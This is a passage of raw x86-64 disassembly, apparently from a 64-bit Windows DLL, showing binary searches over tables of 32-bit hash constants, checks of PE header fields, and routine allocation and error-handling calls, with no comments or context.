mov r8, rcx
mov r14, qword [rsp + 0xc0]
jmp 0x1800485de
mov r8, rcx
sub rcx, r9
jbe 0x18004869b
shr rcx, 1
add rcx, r9
mov r10, rcx
shl r10, 5
xor r11d, r11d
cmp dword [rax + r10 + 0x18], 0x2dd2b3ce
setne r11b
cmovb r11d, edx
cmp r11b, 1
je 0x1800485d2
movzx r9d, r11b
cmp r9d, 0xff
jne 0x180048622
inc rcx
mov r9, rcx
mov rcx, r8
sub rcx, r9
ja 0x1800485de
jmp 0x18004869b
mov rcx, qword [rax + r10 + 8]
test rcx, rcx
mov r14, qword [rsp + 0xc0]
je 0x18004869b
mov rax, qword [rax + r10]
xor r9d, r9d
mov edx, 0xff
mov r8, rcx
mov r14, qword [rsp + 0xc0]
jmp 0x180048655
mov r8, rcx
sub rcx, r9
jbe 0x18004869b
shr rcx, 1
add rcx, r9
mov r11, rcx
shl r11, 5
xor r10d, r10d
cmp dword [rax + r11 + 0x18], 0xe9b7ea0f
setne r10b
cmovb r10d, edx
cmp r10b, 1
je 0x18004864d
movzx r9d, r10b
cmp r9d, 0xff
jne 0x1800570a7
inc rcx
mov r9, rcx
mov rcx, r8
sub rcx, r9
ja 0x180048655
dec qword [r15]
mov r15, qword [rsp + 0x98]
lea r12, [rsp + 0x180]
mov rcx, r12
mov rdx, r15
mov r8, r14
call fcn.180066e40
mov esi, dword [rsp + 0x180]
test esi, esi
je 0x18004872d
mov edi, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x1800487d2
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x1800487dd
mov rdi, qword [rsp + 0x188]
mov r15, qword [rsp + 0x190]
mov rsi, qword [rdi + 0x20]
cmp rsi, 1
je 0x180048c93
lea rcx, [0x1800747ea]
mov edx, 8
call fcn.180069920
test rsi, rsi
je 0x180048c93
mov rdi, qword [rdi + 0x18]
xor r8d, r8d
mov ecx, 0xff
mov rdx, rsi
jmp 0x18004878c
mov rdx, rsi
sub rsi, r8
jbe 0x180048c93
shr rsi, 1
add rsi, r8
mov rbx, rsi
shl rbx, 5
xor r9d, r9d
cmp dword [rdi + rbx + 0x18], eax
setne r9b
cmovb r9d, ecx
cmp r9b, 1
je 0x180048780
movzx r8d, r9b
cmp r8d, 0xff
jne 0x18004885e
inc rsi
mov r8, rsi
mov rsi, rdx
sub rsi, r8
ja 0x18004878c
jmp 0x180048c93
mov rax, qword [rsp + 0x48]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x1dda11f9
mov rax, qword [rsp + 0x70]
mov edx, dword [rsp + 0x78]
mov r8d, dword [rsp + 0x7c]
mov rcx, qword [rsp + 0xc8]
mov rcx, qword [rcx + 0x28]
mov dword [rsp + 0x180], esi
mov dword [rsp + 0x184], edi
mov qword [rsp + 0x188], rax
mov dword [rsp + 0x190], edx
mov dword [rsp + 0x194], r8d
lea rdx, [0x1800744f6]
lea r9, [rsp + 0x180]
mov r8d, 6
call fcn.180057260
mov rax, qword [r15]
movzx ecx, word [rax + 0x186]
cmp ecx, 0x2022
je 0x180048cb4
jmp 0x180049494
mov rsi, qword [rdi + rbx + 8]
cmp rsi, 9
ja 0x180048c93
lea rcx, [0x1800747f2]
mov edx, 0xc
call fcn.180069920
test rsi, rsi
je 0x180048c93
add rdi, rbx
mov r13, qword [rdi]
xor r9d, r9d
mov ecx, 0xff
mov rdx, rsi
mov r8, rsi
jmp 0x1800488a9
mov r8, rdx
sub rdx, r9
jbe 0x180048c93
shr rdx, 1
add rdx, r9
mov r11, rdx
shl r11, 5
xor r10d, r10d
cmp dword [r13 + r11 + 0x18], eax
setne r10b
cmovb r10d, ecx
cmp r10b, 1
je 0x18004889d
movzx r9d, r10b
cmp r9d, 0xff
jne 0x1800488ec
inc rdx
mov r9, rdx
mov rdx, r8
sub rdx, r9
ja 0x1800488a9
jmp 0x180048c93
lea rcx, [0x1800747fe]
mov edx, 8
call fcn.180069920
xor r9d, r9d
mov ecx, 0xff
mov rdx, rsi
mov r8, rsi
jmp 0x180048919
mov r8, rdx
sub rdx, r9
jbe 0x180048c93
shr rdx, 1
add rdx, r9
mov r11, rdx
shl r11, 5
xor r10d, r10d
cmp dword [r13 + r11 + 0x18], eax
setne r10b
cmovb r10d, ecx
cmp r10b, 1
je 0x18004890d
movzx r9d, r10b
cmp r9d, 0xff
jne 0x18004895c
inc rdx
mov r9, rdx
mov rdx, r8
sub rdx, r9
ja 0x180048919
jmp 0x180048c93
lea rcx, [0x180074806]
mov edx, 0xd
call fcn.180069920
xor r9d, r9d
mov ecx, 0xff
mov rdx, rsi
mov r8, rsi
jmp 0x180048989
mov r8, rdx
sub rdx, r9
jbe 0x180048c93
shr rdx, 1
add rdx, r9
mov r11, rdx
shl r11, 5
xor r10d, r10d
cmp dword [r13 + r11 + 0x18], eax
setne r10b
cmovb r10d, ecx
cmp r10b, 1
je 0x18004897d
movzx r9d, r10b
cmp r9d, 0xff
jne 0x1800489cc
inc rdx
mov r9, rdx
mov rdx, r8
sub rdx, r9
ja 0x180048989
jmp 0x180048c93
lea rcx, [0x180074813]
mov edx, 0xc
call fcn.180069920
xor r9d, r9d
mov ecx, 0xff
mov rdx, rsi
mov r8, rsi
jmp 0x1800489f9
mov r8, rdx
sub rdx, r9
jbe 0x180048c93
shr rdx, 1
add rdx, r9
mov r11, rdx
shl r11, 5
xor r10d, r10d
cmp dword [r13 + r11 + 0x18], eax
setne r10b
cmovb r10d, ecx
cmp r10b, 1
je 0x1800489ed
movzx r9d, r10b
cmp r9d, 0xff
jne 0x180048a3c
inc rdx
mov r9, rdx
mov rdx, r8
sub rdx, r9
ja 0x1800489f9
jmp 0x180048c93
lea rcx, [0x18007481f]
mov edx, 0xc
call fcn.180069920
xor r9d, r9d
mov ecx, 0xff
mov rdx, rsi
mov r8, rsi
jmp 0x180048a69
mov r8, rdx
sub rdx, r9
jbe 0x180048c93
shr rdx, 1
add rdx, r9
mov r11, rdx
shl r11, 5
xor r10d, r10d
cmp dword [r13 + r11 + 0x18], eax
setne r10b
cmovb r10d, ecx
cmp r10b, 1
je 0x180048a5d
movzx r9d, r10b
cmp r9d, 0xff
jne 0x180048aac
inc rdx
mov r9, rdx
mov rdx, r8
sub rdx, r9
ja 0x180048a69
jmp 0x180048c93
lea rcx, [0x18007482b]
mov edx, 0xe
call fcn.180069920
xor r9d, r9d
mov ecx, 0xff
mov rdx, rsi
mov r8, rsi
jmp 0x180048ad9
mov r8, rdx
sub rdx, r9
jbe 0x180048c93
shr rdx, 1
add rdx, r9
mov r11, rdx
shl r11, 5
xor r10d, r10d
cmp dword [r13 + r11 + 0x18], eax
setne r10b
cmovb r10d, ecx
cmp r10b, 1
je 0x180048acd
movzx r9d, r10b
cmp r9d, 0xff
jne 0x180048b1c
inc rdx
mov r9, rdx
mov rdx, r8
sub rdx, r9
ja 0x180048ad9
jmp 0x180048c93
lea rcx, [0x180074839]
mov edx, 5
call fcn.180069920
xor r9d, r9d
mov ecx, 0xff
mov rdx, rsi
mov r8, rsi
jmp 0x180048b49
mov r8, rdx
sub rdx, r9
jbe 0x180048c93
shr rdx, 1
add rdx, r9
mov r11, rdx
shl r11, 5
xor r10d, r10d
cmp dword [r13 + r11 + 0x18], eax
setne r10b
cmovb r10d, ecx
cmp r10b, 1
je 0x180048b3d
movzx r9d, r10b
cmp r9d, 0xff
jne 0x180048b8c
inc rdx
mov r9, rdx
mov rdx, r8
sub rdx, r9
ja 0x180048b49
jmp 0x180048c93
lea rcx, [0x18007483e]
mov edx, 0xc
call fcn.180069920
xor r8d, r8d
mov ecx, 0xff
mov rdx, rsi
jmp 0x180048bb6
mov rdx, rsi
sub rsi, r8
jbe 0x180048c93
shr rsi, 1
add rsi, r8
mov r10, rsi
shl r10, 5
xor r9d, r9d
cmp dword [r13 + r10 + 0x18], eax
setne r9b
cmovb r9d, ecx
cmp r9b, 1
je 0x180048baa
movzx r8d, r9b
cmp r8d, 0xff
jne 0x180048bf9
inc rsi
mov r8, rsi
mov rsi, rdx
sub rsi, r8
ja 0x180048bb6
jmp 0x180048c93
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x18007484a]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
mov rcx, qword [rcx + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x8f1ee398
mov r8d, 0xe543
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x180048c93
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
dec qword [r15]
mov r15, qword [rsp + 0x98]
mov rax, qword [r15]
movzx ecx, word [rax + 0x186]
cmp ecx, 0x2022
jne 0x180049494
movzx ecx, word [rax + 0x158]
cmp ecx, 0x20b
jne 0x180049494
mov ecx, dword [rax + 0x78]
or ecx, dword [rax + 0x7c]
jne 0x180049494
mov r13d, dword [rax + 0x12c]
test r13, r13
je 0x180049494
add r13, qword [rax + 0x188]
mov qword [rsp + 0x20], 0xa
lea r9, [0x1800701ac]
lea rsi, [rsp + 0x180]
mov rcx, rsi
mov rdx, qword [rsp + 0xc0]
mov r8, r13
call fcn.180063a40
mov eax, dword [rsp + 0x180]
test eax, eax
je 0x180048d8b
mov edi, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
movd xmm0, edi
movd xmm6, eax
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180048d95
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180048da0
movzx edi, byte [rsp + 0x184]
jmp 0x180048dc0
mov rax, qword [rsp + 0x48]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x5d7bdb99
movd eax, xmm6
test eax, eax
je 0x180048dc0
movdqa xmm0, xmmword [rsp + 0x70]
jmp 0x180048fc3
test dil, dil
je 0x180048ff5
lea rax, [r13 + 0x20]
lea rcx, [r13 + 0x40]
xor edx, edx
mov r8, rcx
sub r8, 1
cmovae rdx, r8
test rcx, rcx
mov ecx, 1
cmovne rcx, rax
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rdx
lea rdi, [rsp + 0x40]
cmp rcx, rdx
cmovbe rsi, rdi
mov byte [rsp + 0x50], 0
mov byte [rsp + 0x190], 2
movdqu xmm0, xmmword [rsi]
movdqa xmmword [rsp + 0x70], xmm0
mov eax, dword [rsi + 0x11]
mov ecx, dword [rsi + 0x14]
mov dword [rsp + 0xf0], eax
mov dword [rsp + 0xf3], ecx
ja 0x180046c91
movdqa xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x180], xmm0
mov byte [rsp + 0x190], 0
mov eax, dword [rsp + 0xf0]
mov ecx, dword [rsp + 0xf3]
mov dword [rsp + 0x191], eax
mov dword [rsp + 0x194], ecx
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x20], rax
lea r8, [0x180075608]
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0x180]
mov r9d, 6
call fcn.180035970
cmp dword [rsp + 0xa0], 0
je 0x180048ef9
mov rsi, qword [rsp + 0xa8]
mov edi, dword [rsp + 0xb0]
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x48], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180048f99
lea rcx, [rsp + 0x40]
call fcn.1800366d0
xor eax, eax
jmp 0x180048fa7
cmp qword [rsp + 0xa8], 0
je 0x180048ff5
mov rdx, qword [rsp + 0xb0]
mov rbx, qword [rsp + 0xc0]
mov r8, qword [rbx]
mov r9, qword [rbx + 8]
lea rcx, [rsp + 0x180]
call fcn.180035d30
cmp dword [rsp + 0x180], 0
je 0x180050b54
mov rsi, qword [rsp + 0x188]
mov edi, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x1800511d8
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x1800511e3
mov rax, qword [rsp + 0x188]
mov qword [rax], rsi
mov dword [rax + 8], edi
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0xd8], 0x5d7bdb60
movdqa xmm0, xmmword [rsp + 0xd0]
movq rsi, xmm0
test rsi, rsi
je 0x180048ff5
mov rcx, rsi
call fcn.1800366d0
mov rax, qword [section..data]
lea rcx, [0x180077a08]
mov r8d, 0x10
mov r9d, 8
mov rdx, rsi
call qword [rax + 0x20]
mov word [rsp + 0x120], 0x24
mov qword [rsp + 0x20], 3
lea r9, [0x1800753a8]
lea rsi, [rsp + 0x180]
mov rcx, rsi
mov rdx, qword [rsp + 0xc0]
mov r8, r13
call fcn.180063a40
mov r15d, dword [rsp + 0x180]
test r15d, r15d
je 0x18004909d
mov ebp, dword [rsp + 0x184]
mov rsi, qword [rsp + 0x188]
mov edi, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x1800491e8
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x1800491f3
cmp byte [rsp + 0x184], 0
je 0x18004948c
lea rax, [r13 + 0x40]
xor ecx, ecx
mov rdx, rax
sub rdx, 1
cmovae rcx, rdx
test rax, rax
mov eax, 1
cmovne rax, r13
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rcx
lea r13, [rsp + 0x40]
cmp rax, rcx
cmovbe rsi, r13
mov byte [rsp + 0x50], 0
mov byte [rsp + 0x190], 2
movdqu xmm0, xmmword [rsi]
movdqa xmmword [rsp + 0x70], xmm0
mov eax, dword [rsi + 0x11]
mov ecx, dword [rsi + 0x14]
mov dword [rsp + 0xf0], eax
mov dword [rsp + 0xf3], ecx
ja 0x180046c91
movdqa xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x180], xmm0
mov byte [rsp + 0x190], 0
mov eax, dword [rsp + 0xf0]
mov ecx, dword [rsp + 0xf3]
mov dword [rsp + 0x191], eax
mov dword [rsp + 0x194], ecx
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x20], rax
lea r8, [0x1800701c2]
lea rcx, [rsp + 0xa0]
lea rsi, [rsp + 0x180]
mov r9d, 3
mov rdx, rsi
call fcn.180035970
mov r15d, dword [rsp + 0xa0]
test r15d, r15d
je 0x180049215
mov ebp, dword [rsp + 0xa4]
mov rsi, qword [rsp + 0xa8]
mov edi, dword [rsp + 0xb0]
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x48], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180049361
lea rcx, [rsp + 0x40]
call fcn.1800366d0
xor eax, eax
jmp 0x18004936f
mov rax, qword [rsp + 0x48]
mov qword [rax], rsi
mov dword [rax + 8], edi
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x5d7bdb47
mov eax, ebp
shr eax, 0x10
mov ecx, ebp
shr ecx, 8
movdqa xmm6, xmmword [rsp + 0x70]
jmp 0x180049395
cmp qword [rsp + 0xa8], 0
je 0x18004948c
mov rax, qword [rsp + 0xb0]
lea rcx, [rax + 0x20]
xor edx, edx
mov r8, rcx
sub r8, 1
cmovae rdx, r8
test rcx, rcx
mov ecx, 1
cmovne rcx, rax
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rdx
cmp rcx, rdx
cmovbe rsi, r13
mov byte [rsp + 0x50], 0
mov byte [rsp + 0x190], 2
movdqu xmm0, xmmword [rsi]
movdqa xmmword [rsp + 0x70], xmm0
mov eax, dword [rsi + 0x11]
mov ecx, dword [rsi + 0x14]
mov dword [rsp + 0xf0], eax
mov dword [rsp + 0xf3], ecx
ja 0x180046c91
movdqa xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x180], xmm0
mov byte [rsp + 0x190], 0
mov eax, dword [rsp + 0xf0]
mov ecx, dword [rsp + 0xf3]
mov dword [rsp + 0x191], eax
mov dword [rsp + 0x194], ecx
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x20], rax
lea r8, [0x1800721b0]
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0x180]
mov r9d, 3
call fcn.180035970
mov r15d, dword [rsp + 0xa0]
test r15d, r15d
je 0x1800511fb
mov ebp, dword [rsp + 0xa4]
mov rsi, qword [rsp + 0xa8]
mov edi, dword [rsp + 0xb0]
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x48], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x1800517d8
lea rcx, [rsp + 0x40]
call fcn.1800366d0
xor eax, eax
jmp 0x1800517e6
mov rax, qword [rsp + 0x188]
mov qword [rax], rsi
mov dword [rax + 8], edi
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0xd8], 0x5d7bdb4d
movdqa xmm6, xmmword [rsp + 0xd0]
mov ecx, ebp
shr ecx, 8
mov eax, ebp
shr eax, 0x10
shl ecx, 8
movzx ecx, cx
movzx edx, bpl
or edx, ecx
shl eax, 0x10
or eax, edx
pshufd xmm8, xmm6, 0xee
movd xmm0, eax
movd xmm7, r15d
punpckldq xmm7, xmm0
movq qword [rsp + 0x40], xmm6
movd dword [rsp + 0x48], xmm8
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180049403
lea rcx, [rsp + 0x40]
call fcn.1800366d0
xor eax, eax
jmp 0x18004941b
movq rcx, xmm6
movd edx, xmm8
mov rax, qword [rsp + 0x188]
mov qword [rax], rcx
mov dword [rax + 8], edx
movq qword [rsp + 0x110], xmm7
movzx ecx, byte [rsp + 0x117]
mov byte [rsp + 0x187], cl
movzx ecx, word [rsp + 0x115]
mov word [rsp + 0x185], cx
mov dword [rsp + 0x180], r15d
mov byte [rsp + 0x184], bpl
mov qword [rsp + 0x188], rax
mov dword [rsp + 0x190], 0x5d7bdb08
mov rax, qword [rsp + 0xc8]
mov rcx, qword [rax + 0x28]
lea rdx, [0x1800744fc]
lea r9, [rsp + 0x180]
mov r8d, 6
call fcn.180057260
mov r15, qword [rsp + 0x98]
mov rax, qword [r15]
mov ecx, dword [rax + 0x78]
or ecx, dword [rax + 0x7c]
jne 0x180049717
movzx ecx, word [rax + 0x158]
cmp ecx, 0x20b
jne 0x180049717
movzx eax, word [rax + 0x186]
not eax
test eax, 0x2022
jne 0x180049717
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x138]
mov rcx, rsi
mov r8, r15
mov r9, qword [rsp + 0xc0]
call fcn.180036b60
mov r13d, dword [rsp + 0x180]
test r13d, r13d
je 0x18004956b
mov rsi, qword [rsp + 0x188]
mov edi, dword [rsp + 0x190]
movd xmm6, r13d
movd xmm0, dword [rsp + 0x184]
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180049667
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180049672
mov rax, qword [rsp + 0x188]
mov r8, qword [rsp + 0x190]
mov qword [rsp + 0x78], rax
cmp eax, 1
jne 0x180049717
cmp dword [rsp + 0x7c], 0x7dd
jne 0x180049717
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x1198], rax
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 0xb
lea r9, [0x1800702a0]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x1198]
call fcn.180062990
mov r13d, dword [rsp + 0x40]
test r13d, r13d
je 0x18004b7ca
mov esi, dword [rsp + 0x44]
mov rdi, qword [rsp + 0x48]
mov ebx, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180050493
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x1800504a1
mov rax, qword [rsp + 0x48]
mov qword [rax], rsi
mov dword [rax + 8], edi
movq qword [rsp + 0x70], xmm6
mov qword [rsp + 0x78], rax
shr rax, 0x20
mov rcx, qword [rsp + 0x74]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x4c], 0x5d7bdac8
mov dword [rsp + 0x180], r13d
movzx eax, byte [rsp + 0x40]
mov byte [rsp + 0x184], al
movzx eax, word [rsp + 0x41]
mov word [rsp + 0x185], ax
movzx eax, byte [rsp + 0x43]
mov byte [rsp + 0x187], al
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x188], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x194], eax
mov rax, qword [rsp + 0xc8]
mov rcx, qword [rax + 0x28]
lea rdx, [0x180074502]
lea r9, [rsp + 0x180]
mov r8d, 8
call fcn.180057260
mov rax, qword [r15]
mov r8d, dword [rax + 0x12c]
add r8, qword [rax + 0x188]
mov r13, qword [rsp + 0xc0]
mov qword [rsp + 0x70], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], 8
lea r9, [0x180074888]
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0x70]
call fcn.180062990
mov eax, dword [rsp + 0xa0]
mov rsi, qword [rsp + 0xa8]
test eax, eax
jne 0x180049842
cmp rsi, 1
jne 0x180049842
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180074988]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov r12, qword [rsp + 0xc8]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x82e3ee5a
mov r8d, 0xe543
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x18004987b
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x18004987b
test eax, eax
mov r12, qword [rsp + 0xc8]
je 0x18004987b
test rsi, rsi
je 0x18004987b
mov rcx, rsi
call fcn.1800366d0
mov rax, qword [section..data]
lea rcx, [0x180077a08]
mov r8d, 0x10
mov r9d, 8
mov rdx, rsi
call qword [rax + 0x20]
mov rax, qword [r15]
test byte [rax + 0x187], 0x20
je 0x180049e7a
movzx ecx, word [rax + 0x158]
cmp ecx, 0x20b
jne 0x180049e7a
mov ecx, dword [rax + 0x78]
or ecx, dword [rax + 0x7c]
je 0x180049e7a
lea rdi, [rsp + 0x180]
mov rcx, rdi
mov rdx, r15
mov r8, r13
call fcn.1800660c0
mov ebx, dword [rsp + 0x180]
test ebx, ebx
je 0x180049931
mov esi, dword [rsp + 0x184]
mov rdi, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180049e26
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180049e31
mov rax, qword [rsp + 0x188]
mov rcx, qword [rsp + 0x190]
mov qword [rsp + 0x128], rcx
mov r15, qword [rax + 0x30]
mov rax, qword [rax + 0x38]
shl rax, 3
lea r12, [rax + rax*4]
xor ebx, ebx
pxor xmm6, xmm6
xor ebp, ebp
xor r13d, r13d
jmp 0x180049981
add r14, rbx
mov r13, r14
add r15, 0x28
add rbp, 0x28
cmp rbp, 0xc8
je 0x18004b517
mov r14, r13
cmp r12, rbp
je 0x18004b4e1
mov r8d, dword [r15 + 0x24]
mov rax, qword [rsp + 0x98]
mov rax, qword [rax]
cmp dword [rax + 0x48], r8d
jbe 0x180049969
mov r13d, 3
cmp r14, 3
je 0x18004996c
add r8, qword [rax + 0x188]
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0xf0], rax
movdqa xmmword [rsp + 0x1b0], xmm6
movdqa xmmword [rsp + 0x1a0], xmm6
movdqa xmmword [rsp + 0x190], xmm6
movdqa xmmword [rsp + 0x180], xmm6
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], 2
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xf0]
lea r9, [0x18006b658]
call fcn.180062990
mov eax, dword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
test eax, eax
jne 0x180049b61
cmp rsi, 1
jne 0x180049b61
mov r13, qword [rsp + 0x50]
mov byte [rsp + 0x40], 4
mov dword [rsp + 0x44], 0x40
lea rax, [0x18006b6a0]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
movdqa xmmword [rsp + 0x1b0], xmm6
movdqa xmmword [rsp + 0x1a0], xmm6
movdqa xmmword [rsp + 0x190], xmm6
movdqa xmmword [rsp + 0x180], xmm6
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], 1
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0xf0]
mov r8, r13
lea r9, [rsp + 0x40]
call fcn.180062990
mov eax, dword [rsp + 0xa0]
mov rsi, qword [rsp + 0xa8]
test eax, eax
jne 0x180049b61
cmp rsi, 1
jne 0x180049b61
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0xf0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
mov byte [rsp + 0x20], 0
mov rcx, rdi
mov r9, r13
call fcn.180039890
mov edi, dword [rsp + 0x180]
test edi, edi
je 0x180049b9f
mov esi, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov r13d, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], r13d
mov rax, qword [section..data]
mov r8d, 0x10
mov r9d, 8
lea rcx, [rsp + 0x40]
lea rdx, [0x180077a08]
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180049ba9
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180049bb5
test eax, eax
je 0x180049966
test rsi, rsi
je 0x180049966
mov rcx, rsi
call fcn.1800366d0
mov rax, qword [section..data]
mov r8d, 0x10
mov r9d, 8
lea rcx, [0x180077a08]
mov rdx, rsi
call qword [rax + 0x20]
jmp 0x180049966
movzx esi, byte [rsp + 0x184]
jmp 0x180049bda
mov rax, qword [rsp + 0x48]
mov qword [rax], rbx
mov dword [rax + 8], r13d
movd xmm1, esi
movd xmm0, edi
punpckldq xmm0, xmm1
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x7889901
movd edi, xmm0
test edi, edi
jne 0x18005198f
mov rax, qword [rsp + 0xe8]
lea r9, [rax - 2]
mov rax, qword [rsp + 0xf0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x180]
call fcn.180039890
mov edi, dword [rsp + 0x180]
test edi, edi
